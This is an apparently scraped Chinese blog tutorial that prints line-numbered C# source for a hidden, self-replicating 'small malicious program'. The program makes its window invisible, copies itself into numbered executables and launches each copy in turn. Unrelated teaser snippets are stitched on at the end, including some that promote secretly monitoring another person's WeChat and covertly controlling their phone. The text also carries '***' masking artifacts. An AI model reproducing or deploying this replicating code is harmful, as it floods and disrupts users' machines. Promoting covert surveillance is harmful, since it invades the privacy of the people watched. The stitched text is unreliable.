最近朋友的电脑中了病毒,让我跑了三次,费了九牛二虎之力,几种杀毒软件还是没有能把病毒全清除掉,最后没有办法,只能把资料复制出来,把硬盘重新分区了再装系统,装上了可以 *** 的AntiVir,于是乎世界终于清静。 不仅因为Windows系统的脆弱,而且因为病毒无休止的自我复制和满硬盘的藏匿,使得我们脆弱的神经不堪重负,面对千疮百孔,有着莫名其妙而又千奇百怪的名字文件夹和文件的系统,相信大多数人都会选择重装系统。病毒和流氓软件总是让人气愤!那么,计算机程序怎么实现自我复制呢?其实这非常的简单。下面我将用C#简单的实现一个能够自我复制的小小的恶意程序。 程序要实现下面几个功能。 之一,运行时不出现运行界面,当然,在任务管理器里,还是可以看到进程的,道行再深的病毒也不可能无迹可寻。 第二,程序在运行目录下自我复制n份。 第三,采用递归复制的 *** ,即之一个程序生成第二个程序,第二个程序生成第三个程序,以此类推。 源代码很简单,下面来分析一下: 35 // 不在任务栏显示36 this.ShowInTaskbar = false;37 // 窗体透明38 this.Opacity = 0; System.Windows.Forms.Form类封装了一般的Windows窗口程序大部分特性,极大的简化窗口界面的设计过程,上面这两个属性用于隐藏我们的程序的运行状态,之一个ShowInTaskbar属性,设置为否时,程序就不会在状态栏上面显示。第二个Opacity属性,表示窗口的不透明度,取值在0到100之间。0%的不透明度也就是100%透明了。这样,在程序运行时,你就看不见窗体了。 44 // 默认复制次数45 const int TOTAL = 100;46 int _count = TOTAL;47 // 正在运行的程序路径和文件名48 string _file = Application.ExecutablePath;49 // 正在运行的程序路径50 string _path = Application.StartupPath;51 // 正在运行的程序文件名 52 string _name = _file.Replace(string.Format("{0}\\", _path), string.Empty).ToLower();53 try54 {55 _count = int.Parse(_name.Replace(".exe", string.Empty));56 _count--;57 }58 catch59 {60 }61 finally62 {63 }64 // 目标文件65 string _target = string.Format("{0}\\{1}.exe", _path, _count.ToString("000")); Application类提供了获取程序运行绝对路径并包括文件名的属性和程序运行绝对路径的文件名属性,竟然不直接提供一个文件名的属性,好奇怪。正规的截取文件名的 *** 应该根据"\"来判断,这里采用了替换的 *** ,大家可以思考一下如果用SubString怎么实现。55和56行,如果文件名不是数字,那么从100.exe开始生成,如果你执行了10000.exe的文件,那么狠糟糕,你可能需要注销一下当前用户来终止程序运行,当然,让它运行也不会有多大影响。最后,65行,我们把目标锁定在程序的当前目录下。病毒和流氓软件就没有那么客气了,经常它可能会选择磁盘根目录、C:\Winodws、C:\Windows\System32或者其他重要的系统目录中。而且病毒采用了随机的命名方式或者是模仿系统文件名称的固定命名方式,以达到隐藏自身和迷惑用户的目的。 67 if ((File.Exists(_file)) && (_count > 0))68 {69 // 复制70 FileStream _fileStream = File.Open(_file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);71 byte[] _buffer = new byte[_fileStream.Length];72 _fileStream.Read(_buffer, 0, _buffer.Length);73 _fileStream.Close();74 // 如果目标已存在,删除75 if (File.Exists(_target))76 {77 File.Delete(_target);78 }79 // 粘贴80 FileStream _writer = File.Open(_target, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None);81 _writer.Write(_buffer, 0, _buffer.Length);82 _writer.Close();83 // 运行刚复制完成的程序84 System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo(_target));85 }86 Application.Exit(); 最后,我们来完成第三个目标,自我复制并且运行复制好的新程序。前面我们得到了_file程序运行绝对路径并包括文件名,这样,我们就可以打开并读取它了。File是文件操作的静态 *** ,它只负责打开,关闭,创建和删除文件,对文件的读写,就要由FileStream来操作了。这里只是整个复制文件,非常的简单。病毒的特性是可以附加到别的程序或文件上,整个过程就比较复杂了。首先,需要非常了解可执行文件的结构,把原来的可执行文件分解,并且把自身也进行分解,然后重新组合成一个新的可执行文件,但是执行的次序已经改变了,程序开始会先跳转到病毒代码,保证病毒能够被执行后,再跳转回正常的程序代码,以使病毒能够得以在隐藏的状态下执行。84行调用了新复制完成的程序。以使得新复制的程序能够自动运行,并且进行下一次的复制。同样的道理,现在非常多的软件都提供了自动更新的功能,它的原理基本也是这样,下载升级包,主程序调用升级程序,如果有必要,主程序会先退出,升级程序完成对主程序或者其他文件的复制更新,然后再重新调用主程序。由此可见,计算机的功能是没有好坏之分的。病毒能够运用的原理,普通程序当然也能够利用。水能载舟亦能覆舟就是这个道理。
董事长年会致辞(董事长年会幽默致辞范文) 「想报百思特网名学习演讲口才的朋友私信小编,评论留“口才”」 董事长年会幽默致辞范文 尊敬的各位来宾、各位朋友百思特网,xxx的全体家人们: ...
《48天》《78天》《68天》《58天》《38天》《39天》 这一系列以日期命名的影片,都是越坂康史导演的作品, 看名字就很怪异,内容更怪,所有作品的类型都是扣留SM。 以《58天》为例,简朴给...
每日好文 教你怎么监管另一方微信聊天(悄悄监管另一方微信记录方式)避免 微信聊天纪录被删掉的方式以下:1、微信聊天纪录一般历经数据加密储存在手机存储卡中,那样就可以合理避免 不一样pc版...
一起来挑战一下吧!按用途分,女鞋一般分为8大类: 按鞋跟分(不止有以下分类): 靴(boots) 靴的历史非常悠久,是古代男人打仗和狩猎用的鞋,平民不能穿着,是男权社会的象征。所以很多靴...
本文导读目录: 1、黑客史上最伟大的黑客是谁 2、找一些著名黑客的故事! 3、中国天才小黑客,8岁写代码,曾用1元买2500元物品,他如今怎么样? 4、黑客的成长全过程 5、年仅10岁...
如何悄悄操纵他人手机上,开启这一作用就能运用微信远程操纵另一方手机上,如今的社会监管一部手机很简单,格外是在技术性和智能化都很出色的当日。若我们要想监...